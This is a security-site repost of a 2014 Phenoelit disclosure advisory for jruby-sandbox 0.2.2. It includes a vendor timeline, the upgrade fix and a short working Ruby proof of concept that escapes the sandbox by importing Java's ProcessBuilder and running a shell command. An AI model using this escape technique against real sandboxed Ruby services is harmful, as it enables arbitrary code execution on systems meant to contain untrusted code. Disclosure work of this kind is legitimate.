首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
JRuby Sandbox 0.2.2 Bypass
来源:joernchen () phenoelit de 作者:joernchen 发布时间:2014-04-25  
Phenoelit Advisory <wir-haben-auch-mal-was-gefunden #0815 +-+++>

[ Authors ]
        joernchen       <joernchen () phenoelit de>

        Phenoelit Group (http://www.phenoelit.de)

[ Affected Products ]
        jruby-sandbox <= 0.2.2
        https://github.com/omghax/jruby-sandbox

[ Vendor communication ]
        2014-04-22 Send vulnerability details to project maintainer
        2014-04-24 Requesting confirmation that details were received
        2014-04-24 Maintainer states he is working on a test case
        2014-04-24 Maintainer releases fixed version
        2014-04-24 Release of this advisory

[ Description ]
        jruby-sandbox aims to allow safe execution of user given Ruby
        code within a JRuby [0] runtime. However via import of Java 
        classes it is possible to circumvent those protections and 
        execute arbitrary code outside the sandboxed environment.

[ Example ]

require 'sandbox'
sand = Sandbox.safe
sand.activate!

begin
  sand.eval("print `id`")
rescue Exception => e
  puts "fail via Ruby ;)"
end
puts "Now for some Java"

sand.eval("Kernel.send :java_import, 'java.lang.ProcessBuilder'")
sand.eval("Kernel.send :java_import, 'java.util.Scanner'")
sand.eval("s = Java::java.util.Scanner.new( " + 
          "Java::java.lang.ProcessBuilder.new('sh','-c','id')" + 
          ".start.getInputStream  ).useDelimiter(\"\x00\").next")
sand.eval("print s")

[ Solution ]
        Upgrade to version 0.2.3

[ References ]
        [0] http://jruby.org/

[ end of file ]

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·mRemote Offline Password Decry
·cFos Personal Net 3.09 Heap Co
·Acunetix 8 Scanner Buffer Over
·Kolibri 2.0 GET Request - Stac
·Acunetix 8 build 20120704 - Re
·Symantec Endpoint Protection M
·Bonefire v.0.7.1 - Reinstall A
·Wireshark 1.8.12/1.10.5 wireta
·No-CMS 0.6.6 rev 1 - Admin Acc
·Mac OS X NFS Mount Privilege E
·Media Player Classic 1.3.1752.
·GeoCore MAX DB 7.3.3 Blind SQL
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved